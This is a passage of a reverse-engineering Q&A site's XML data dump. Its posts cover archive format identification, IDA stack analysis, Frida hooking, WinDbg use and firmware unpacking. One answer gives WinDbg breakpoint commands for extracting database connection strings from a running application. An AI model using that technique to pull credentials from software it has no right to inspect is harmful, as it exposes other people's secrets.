  <row Id="23006" PostTypeId="2" ParentId="22925" CreationDate="2020-01-14T23:27:06.663" Score="2" Body="&lt;p&gt;On Linux, creating a fake file using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -e 'print &quot;\x00\x06\xde\xad\xbe\xef&quot;;' &amp;gt; foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and running &lt;code&gt;file foo&lt;/code&gt; yields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo: TTComp archive data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it's easy: &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/TTComp_archive&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fileformats.archiveteam.org/wiki/TTComp_archive&lt;/a&gt; which says that it used the early &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/PKWARE_DCL_Implode&quot; rel=&quot;nofollow noreferrer&quot;&gt;PKWARE &quot;implode&quot; algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DCL Implode is not the same format as ZIP's old &quot;implode&quot; compression&#xA;  method (#6). It is unfortunate that there are two formats named&#xA;  &quot;implode&quot;  associated with the same company. It can be used in ZIP, as&#xA;  compression  method #10, but support for this is limited.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The terms &quot;blast&quot; and &quot;explode&quot; are sometimes used in association with&#xA;  this format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are decoders for it, for example &lt;a href=&quot;https://github.com/JoshVarga/blast&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; written in Go.&lt;/p&gt;&#xA;" OwnerUserId="18386" LastEditorUserId="18386" LastEditDate="2020-01-14T23:42:24.053" LastActivityDate="2020-01-14T23:42:24.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23007" PostTypeId="2" ParentId="18774" CreationDate="2020-01-15T00:32:20.170" Score="1" Body="&lt;p&gt;It's likely that the lzma compressed archive you're working with was generated with an older library version, as Igor said. If you're recompressing the file with your system's built-in &lt;code&gt;lzma&lt;/code&gt; command, you might not be getting the right output because it might just be aliased to &lt;code&gt;xz --format=lzma&lt;/code&gt;. Refer to your system's man page for &lt;code&gt;xz&lt;/code&gt; or &lt;code&gt;lzma&lt;/code&gt; to confirm. If &lt;code&gt;lzma&lt;/code&gt; is indeed aliased to &lt;code&gt;xz&lt;/code&gt;, it's using XZ Utils to compress your archive, which uses a later version of the LZMA SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try using LZMA Utils (&lt;a href=&quot;https://tukaani.org/lzma/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tukaani.org/lzma/&lt;/a&gt;), which is based on LZMA SDK 4.32. Simply:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clone their git repository&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://git.tukaani.org/lzma.git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Run &lt;code&gt;autogen.sh&lt;/code&gt; in the project's root directory (make sure to install the required dependencies, like &lt;code&gt;automake&lt;/code&gt; and &lt;code&gt;libtoolize&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Run the newly generated &lt;code&gt;configure&lt;/code&gt; shell script&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;make&lt;/code&gt; to compile the programs&lt;/li&gt;&#xA;&lt;li&gt;You &lt;em&gt;could&lt;/em&gt; run &lt;code&gt;make install&lt;/code&gt;, but by this point, you should have a runnable &lt;code&gt;lzma&lt;/code&gt; executable in &lt;code&gt;&amp;lt;Project Root&amp;gt;/src/lzma/&lt;/code&gt;. You can run the executable directly from this directory without changing your system &lt;code&gt;lzma&lt;/code&gt; configuration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(These instructions are also in the &lt;code&gt;INSTALL&lt;/code&gt; file in the project's root directory, but it's fairly difficult to understand first time around. I deciphered it here for convenience.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to compress your file by running the following command, assuming &lt;code&gt;in&lt;/code&gt; is your input file, &lt;code&gt;out.lzma&lt;/code&gt; is your output file, and &lt;code&gt;~/lzma/src/lzma/lzma&lt;/code&gt; is your compiled &lt;code&gt;lzma&lt;/code&gt; binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/lzma/src/lzma/lzma -9 -c -z in &amp;gt;out.lzma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd suggest trying to recompress the unmodified extracted file to verify this method works before trying to compress the modified file, just in case.&lt;/p&gt;&#xA;" OwnerUserId="30784" LastActivityDate="2020-01-15T00:32:20.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23008" PostTypeId="2" ParentId="23005" CreationDate="2020-01-15T01:54:35.223" Score="5" Body="&lt;p&gt;When I assembled the code, the offending instruction was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x6c        40 ff d1                       call rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/489.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Change Stack Pointer&lt;/a&gt; command in IDA to fix this in disassembly. As per IDA documentation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This command allows you to specify how the stack pointer (SP) is modified by the current instruction. &lt;/li&gt;&#xA;&lt;li&gt;You cannot use this command if the current instruction does not belong to any function. &lt;/li&gt;&#xA;&lt;li&gt;You will need to use this command only if IDA was not able to trace the value of the SP register. &lt;/li&gt;&#xA;&lt;li&gt;Usually IDA can handle it but in some special cases it fails. An example of such a situation is an indirect call of a function that purges its parameters from the stack. In this case, IDA has no information about the function and cannot properly trace the value of SP. &lt;/li&gt;&#xA;&lt;li&gt;Please note that you need to specify the difference between the old and new values of SP.&lt;/li&gt;&#xA;&lt;li&gt;The value of SP is used if the current function accesses local variables by [ESP+xxx] notation. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This can also be verified by removing the call rcx instruction and confirming it removes the SP Analysis failed error in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the 2nd version with uploaded ELF the problem is IDA hasn't detected the end of the function correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t02bN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t02bN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right clicking the function &lt;strong&gt;foo&lt;/strong&gt; in Functions view and selecting Edit function and changing the end address to 0:000000000000006C fixes the SP analysis problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trouble shooting SP Analysis failures also enabling Stack Pointer in &lt;strong&gt;Options&lt;/strong&gt; | General and selecting &lt;strong&gt;Stack Pointer&lt;/strong&gt; can help you determine cause of problems, this will show the stack pointer value in green text to the left of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KDiqP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KDiqP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd sample provided it's the same issue. To find the end of function, switch to Text view find the offset of retn and add one, for example the end of function in the last sample provided is 5D5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root cause of the problem is the redundant REX prefix (0x40) at the start. Normal 64-bit function prologs start with 55 48 89 E5 so IDA tries to create a function at address 1 which interferes with the actual function at 0 and makes it stop after one instruction. This planned to be fixed in future releases of IDA.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-01-16T12:04:01.023" LastActivityDate="2020-01-16T12:04:01.023" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23009" PostTypeId="1" CreationDate="2020-01-15T03:22:18.470" Score="2" ViewCount="3670" Body="&lt;p&gt;I am trying to hook functions with Frida where one .so file (x.so) is loaded early and another .so file (z.so) is loaded slightly later, after some processing is done by the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want to do&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start Frida early in order to hook the early functions&lt;/li&gt;&#xA;&lt;li&gt;Start Frida late in order to hook the late functions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if I used Frida script to start the application, I can hook the early functions but Frida will show an error that it cannot find the late functions (unable to find export).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, what I did was use one Frida script to start the application and then used another Frida script to attach to the already running process to hook the late function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starts Frida early&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frida -U -f com.myapplication.file -l frida_script.js --no-pause&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attach Frida to running process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frida -U -l frida_script2.js -p 4444&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there better ways to perform early and late hooking in one script such that some hooks are started early and some hooks can start once the .so file is loaded?&lt;/p&gt;&#xA;" OwnerUserId="27105" LastActivityDate="2020-01-15T03:22:18.470" Title="Using Frida for early and late instrumentation" Tags="|android|frida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23010" PostTypeId="2" ParentId="22925" CreationDate="2020-01-15T06:40:30.777" Score="1" Body="&lt;p&gt;I would first confirm the file format. Without the entire file this is difficult. Recommend you run the application through a signature based identification program to identify matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example TridNet which detects over 12,000 different file types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mark0.net/soft-tridscan-e.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TriDNet&lt;/a&gt;&#xA;&lt;a href=&quot;http://mark0.net/onlinetrid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Online TriDNet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the file bytes provided (which may not be sufficient to determine) expect file type is TTComp archive compressed (bin-4K).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If TTComp format, the first byte 0x0 indicates binary file; 0x06 indicates a 4096 byte dictionary which was the most common size dictionary for this file type. &#xA;These files can be decompressed with &lt;a href=&quot;http://www.exelana.com/techie/c/ttdecomp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TTDecomp&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-15T06:40:30.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23012" PostTypeId="5" CreationDate="2020-01-15T09:03:49.807" Score="0" Body="&lt;h2&gt;Links&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://frida.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Homepage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/frida/frida&quot; rel=&quot;nofollow noreferrer&quot;&gt;Project on GitHub&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/dweinstein/awesome-frida&quot; rel=&quot;nofollow noreferrer&quot;&gt;Awesome Frida&lt;/a&gt;: a curated list of awesome projects, libraries, and tools powered by Frida&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-01-15T09:03:49.807" LastActivityDate="2020-01-15T09:03:49.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23013" PostTypeId="4" CreationDate="2020-01-15T09:03:49.807" Score="0" Body="A dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers." OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-01-15T09:03:49.807" LastActivityDate="2020-01-15T09:03:49.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23014" PostTypeId="2" ParentId="22996" CreationDate="2020-01-15T22:56:05.470" Score="2" Body="&lt;p&gt;The best way to debug this in my opinion is to use WinDbg from &lt;a href=&quot;https://developer.microsoft.com/en-US/windows/downloads/windows-10-sdk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows SDK&lt;/a&gt; or &lt;a href=&quot;https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg Preview&lt;/a&gt; from Windows Store. In Windows it is not possible to attach two debuggers to the same process. WinDbg supports easily debugging .NET and native processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access .NET functionality you can run commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.loadby sos clr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More details of the .NET extensions &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA;Improved .NET debugging with sosex 3rd party extension &lt;a href=&quot;http://stevestechspot.com/SOSEXV40NowAvailable.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&#xA;Common commands for WinDbg thematically grouped &lt;a href=&quot;http://www.windbg.info/doc/1-common-cmds.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some learning curve to use it fully effectively but once learned it is extremely powerful debugger for .NET and native code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If must use x64dbg then you would require a plugin that supports .NET, the currently available plugins are listed here: &lt;a href=&quot;https://github.com/x64dbg/x64dbg/wiki/Plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/x64dbg/x64dbg/wiki/Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-15T22:56:05.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23015" PostTypeId="1" CreationDate="2020-01-15T23:27:31.837" Score="1" ViewCount="391" Body="&lt;p&gt;This question is similar to: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11889/list-arrays-de-reference-pointers-in-ollydbg?rq=1&quot;&gt;List arrays (de-reference pointers) in Ollydbg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an array of pointers that point to character arrays. I followed the above link and can view the ASCII values from the dereferenced pointers, but I would like to be able to dump it to a file. The only options I see are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Binary copy (these are the addresses, rather than values).&lt;/li&gt;&#xA;&lt;li&gt;Copy as Table (copies all the data...not needed)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any idea? I use both ollydbg and x32dbg so either is fine for a solution&lt;/p&gt;&#xA;" OwnerUserId="30755" LastActivityDate="2020-01-16T18:19:02.257" Title="Dump array of char* ASCII text to file? (ollydbg or x32dbg)" Tags="|ollydbg|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23016" PostTypeId="2" ParentId="21793" CreationDate="2020-01-16T03:34:37.520" Score="1" Body="&lt;p&gt;I wrote the code for WSPE.dat and can confirm that I custom wrote the encryption based on the supplied name/key plus the 'invalid' PE heading. So, if a user attempts to modify the PE heading on the drive to allow for debugging of the DLL for a dump then it'll fail to properly decrypt in memory.&lt;/p&gt;&#xA;" OwnerUserId="30793" LastActivityDate="2020-01-16T03:34:37.520" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23017" PostTypeId="1" CreationDate="2020-01-16T06:04:53.007" Score="2" ViewCount="2784" Body="&lt;p&gt;I'm trying to access the firmware from the .bin in this archive: &lt;a href=&quot;http://mydjiflight.dji.com/file/links/OSMO_ACTION_V17020_20191203_ZIP&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mydjiflight.dji.com/file/links/OSMO_ACTION_V17020_20191203_ZIP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've used binwalk and gotten the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;333646        0x5174E         Certificate in DER format (x509 v3), header length: 4, sequence length: 518&#xA;1927791       0x1D6A6F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1424&#xA;1927795       0x1D6A73        Certificate in DER format (x509 v3), header length: 4, sequence length: 1436&#xA;5310901       0x5109B5        Unix path: /var/lib/jenkins/workspace&#xA;5310945       0x5109E1        Unix path: /rtos/h2/dji/gui/ew/app/#&#xA;5784963       0x584583        Unix path: /var/lib/jenkins/workspace&#xA;5785007       0x5845AF        Unix path: /rtos/h2/dji/gui/ew/app/#&#xA;7769572       0x768DE4        MySQL MISAM index file Version 5&#xA;7962227       0x797E73        MySQL MISAM index file Version 5&#xA;8388145       0x7FFE31        MySQL ISAM index file Version 8&#xA;9291993       0x8DC8D9        MySQL ISAM index file Version 8&#xA;11240978      0xAB8612        MySQL ISAM index file Version 1&#xA;11431188      0xAE6D14        Unix path: /var/lib/jenkins/workspace&#xA;11546615      0xB02FF7        Unix path: /var/lib/jenkins/workspace&#xA;11723142      0xB2E186        Unix path: /1/4/5/6]&#xA;11747234      0xB33FA2        SHA256 hash constants, little endian&#xA;12234577      0xBAAF51        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#&quot;8&#xA;18849863      0x11FA047       Unix path: /H/I/R/S/X+Y+&#xA;19246275      0x125ACC3       Unix path: /N/P/Q/U/V/X/Y/&#xA;19557133      0x12A6B0D       Unix path: /I/L/O/T\&#xA;20332025      0x1363DF9       Unix path: /A/D/E/H/I/~S&#xA;20368127      0x136CAFF       Unix path: /L/O/P/ZJ&#xA;20790576      0x13D3D30       Unix path: /Q/S/T/X/Y/&#xA;22060039      0x1509C07       Certificate in DER format (x509 v3), header length: 4, sequence length: 1042&#xA;22060800      0x1509F00       Certificate in DER format (x509 v3), header length: 4, sequence length: 1120&#xA;22061549      0x150A1ED       Certificate in DER format (x509 v3), header length: 4, sequence length: 1146&#xA;22062317      0x150A4ED       Certificate in DER format (x509 v3), header length: 4, sequence length: 1181&#xA;22062989      0x150A78D       Certificate in DER format (x509 v3), header length: 4, sequence length: 1194&#xA;22681349      0x15A1705       JPEG image data, JFIF standard 1.01&#xA;22825947      0x15C4BDB       MySQL ISAM index file Version 4&#xA;23840137      0x16BC589       SHA256 hash constants, little endian&#xA;26045398      0x18D6BD6       lzop compressed data,900,&#xA;26862957      0x199E56D       LZO compressed data&#xA;26939728      0x19B1150       ELF, 64-bit LSB no file type,&#xA;27467411      0x1A31E93       Unix path: /sysdeps/ieee754/dbl-64/mpexp.c8&#xA;27868566      0x1A93D96       Executable script, shebang: &quot;/bin/sh&quot;&#xA;27893779      0x1A9A013       ELF, 64-bit LSB processor-specific,&#xA;28661360      0x1B55670       Base64 standard index table&#xA;28883640      0x1B8BAB8       ELF, 64-bit LSB processor-specific,&#xA;29837774      0x1C749CE       lzop compressed data,800, LZO1X-1, os: MS-DOS&#xA;29877499      0x1C7E4FB       eCos RTOS string reference: &quot;ecosW&quot;&#xA;29889527      0x1C813F7       HTML document header&#xA;29916857      0x1C87EB9       xz compressed data&#xA;30065108      0x1CAC1D4       Copyright string: &quot;copyright (C) 1996 okir@monad.swb.de).&quot;&#xA;30807857      0x1D61731       Executable script, shebang: &quot;/bin/sh&quot;&#xA;31158507      0x1DB70EB       Unix path: /Min/Max/Avg/Cnt): olA/%u/3&#xA;31299086      0x1DD960E       Unix path: /home/dji/Documents/projects/camera_h2_linux_sdk/&#xA;31922164      0x1E717F4       ELF, 64-bit LSB processor-specific,&#xA;31924192      0x1E71FE0       Executable script, shebang: &quot;/bin/sh&quot;&#xA;31998874      0x1E8439A       Unix path: /usb/gadget/udc/a4&#xA;32010492      0x1E870FC       ELF, 64-bit LSB no file type,&#xA;32144366      0x1EA7BEE       ELF, 64-bit LSB no file type,&#xA;32266556      0x1EC593C       SHA256 hash constants, little endian&#xA;32932163      0x1F68143       Copyright string: &quot;Copyright (C) 0&quot;&#xA;33074794      0x1F8AE6A       Executable script, shebang: &quot;/bin/sh&quot;&#xA;33130836      0x1F98954       Executable script, shebang: &quot;/bin/sh&quot;&#xA;33515696      0x1FF68B0       Copyright string: &quot;Copyright (C) 2009-2014 Free Software Foundation, Inc.&quot;&#xA;33516339      0x1FF6B33       Unix path: /install/share/gcc-4.9.2/f&#xA;33572727      0x2004777       ELF, 64-bit LSB processor-specific,&#xA;34161574      0x20943A6       Unix path: /H2_linux_merge/output.oem/AC101/host/usr/bin/ccachen&#xA;34181264      0x2099090       SHA256 hash constants, little endian&#xA;34321478      0x20BB446       Executable script, shebang: &quot;/bin/sh&quot;&#xA;35104099      0x217A563       ELF, 64-bit LSB processor-specific,&#xA;35457510      0x21D09E6       ELF, 64-bit LSB no file type,&#xA;35713684      0x220F294       ELF, 64-bit LSB no file type,&#xA;36000342      0x2255256       HTML document footer&#xA;36254694      0x22933E6       Executable script, shebang: &quot;/bin/sh&quot;&#xA;36356499      0x22AC193       Executable script, shebang: &quot;/bin/sh&quot;&#xA;36356656      0x22AC230       ELF, 64-bit LSB processor-specific,&#xA;37963842      0x2434842       Executable script, shebang: &quot;/bin/sh&quot;&#xA;38068731      0x244E1FB       ELF, 64-bit LSB processor-specific,&#xA;38141809      0x245FF71       Executable script, shebang: &quot;/bin/sh&quot;&#xA;38141949      0x245FFFD       ELF, 64-bit LSB processor-specific,&#xA;38227525      0x2474E45       ELF, 64-bit LSB processor-specific,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a bit tricky, as I didn't initially know how to proceed. However, I first tried extracting the &quot;xz compressed data&quot; section using dd. I then tried to use &lt;code&gt;unxz&lt;/code&gt; to extract the data, but it says that the xz is corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I opened this xz inside of Bless hex editor and saw that it has the magic values: &lt;code&gt;.7zXZ.YZ&lt;/code&gt;. I then researched and found out that &lt;code&gt;.7zXZ&lt;/code&gt; is the &lt;em&gt;start&lt;/em&gt; of the xz payload and &lt;code&gt;YZ&lt;/code&gt; marks the &lt;em&gt;end&lt;/em&gt; of it. So, if I'm not mistaken, this is a xz payload with only 1 byte in it, which seems to be a false alarm or maybe even a form of anti-reversing in this case. Moving on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next thought was to extract data using dd starting at the eCos RTOS reference. I opened the data in Bless to verify the magic value. Finally, I've opened it in IDA Pro but it does not parse the data correctly. I've tried MetaPC, ARM Little Endian (for which it asks bitness and I chose 32 bit and 64 bit). The only other options I can think of here are to try the LZ compressed areas but those are also commonly false positives. Lastly, I tried to extract and open the ELFs using 010 Editor and IDA Pro. In IDA, I get &quot;The ELF header entry size is invalid (6096, expected 64). At this point, I could use some guidance from a more experienced firmware reverser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I seem to be on the right track? What other steps would you take to locate the firmware goodies? Initially, these artifacts are all new to me.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2020-01-16T18:02:40.090" LastActivityDate="2020-01-16T18:02:40.090" Title="How to proceed after running binwalk on this firmware?" Tags="|ida|firmware|arm|firmware-analysis|binwalk|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23018" PostTypeId="2" ParentId="18907" CreationDate="2020-01-16T12:33:36.223" Score="2" Body="&lt;p&gt;You can find the connection string with an API Monitor tool or Debugger. However first you will need to know are you looking at .NET based executable (i.e. has it loaded clr.dll or mscorlib.dll) and how does it access the database. &#xA;To work this out you can use a tool like &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Monitor&lt;/a&gt; and filter on &lt;strong&gt;Process Name is  Include&lt;/strong&gt; and &lt;strong&gt;Operation is Load Image&lt;/strong&gt; Include. From here you can see what runtime DLLs are used (i.e. .NET or MS Visual C, etc) and what database related DLLs are loaded i.e. msjet40.dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A generic method that will frequently find the connection string is to simply API monitor the string C runtime functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select Visual C++ Run-Time Library -&gt; String Manipulation (CRT)&lt;/li&gt;&#xA;&lt;li&gt;Launch/Attach to app with API monitor and look for connection strings.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This can also be done with tools such as WinDbg and setting breakpoint on the C runtime functions and dumping the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example commands like below in WinDbg would print out the unicode string in a 64-bit EXE if the wscpy_s function had been called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; bp MSVCR100!wcscpy_s &quot;.printf \&quot;msvcr100!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp MSVCR100!wcscpy_s &quot;.printf \&quot;msvcr100!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;Bp expression 'MSVCR100!wcscpy_s' could not be resolved, adding deferred bp&#xA;0:000&amp;gt; bp ucrtbase_clr0400!wcscpy_s &quot;.printf \&quot;ucrtbase_clr0400!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp ucrtbase_clr0400!wcscpy_s &quot;.printf \&quot;ucrtbase_clr0400!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;Bp expression 'ucrtbase_clr0400!wcscpy_s' could not be resolved, adding deferred bp&#xA;0:000&amp;gt; bp mscoreei!wcscpy_s &quot;.printf \&quot;ucrtbase_clr0400!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp mscoreei!wcscpy_s &quot;.printf \&quot;ucrtbase_clr0400!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;Bp expression 'mscoreei!wcscpy_s' could not be resolved, adding deferred bp&#xA;0:000&amp;gt; bp mscoree!wcscpy_s &quot;.printf \&quot;mscoree!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp mscoree!wcscpy_s &quot;.printf \&quot;mscoree!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;Bp expression 'mscoree!wcscpy_s' could not be resolved, adding deferred bp&#xA;0:000&amp;gt; bp msvcrt!wcscpy_s &quot;.printf \&quot;msvcrt!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp msvcrt!wcscpy_s &quot;.printf \&quot;msvcrt!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;0:000&amp;gt; bp ntdll!wcscpy_s &quot;.printf \&quot;ntdll!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;bp ntdll!wcscpy_s &quot;.printf \&quot;ntdll!wcscpy_s source='%mu' \&quot;,r8;!position;g&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-16T12:33:36.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23019" PostTypeId="1" AcceptedAnswerId="23020" CreationDate="2020-01-16T13:14:41.923" Score="0" ViewCount="437" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rzSfT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzSfT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi guys, I'm just practising the difference between global and local variables and how they are represented in x86 assembly. I just don't understand the use of the ds segment register and the NOP slide at the end (nop and xchg ax, ax are the same thing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help! &lt;/p&gt;&#xA;" OwnerUserId="28733" LastActivityDate="2020-01-16T14:04:44.633" Title="I don't understand the use of mov eax,ds:0x404004 and the NOP slide in this code I made" Tags="|x86|" AnswerCount="1" CommentCount="1" ClosedDate="2020-02-10T23:24:25.200" ContentLicense="CC BY-SA 4.0" />
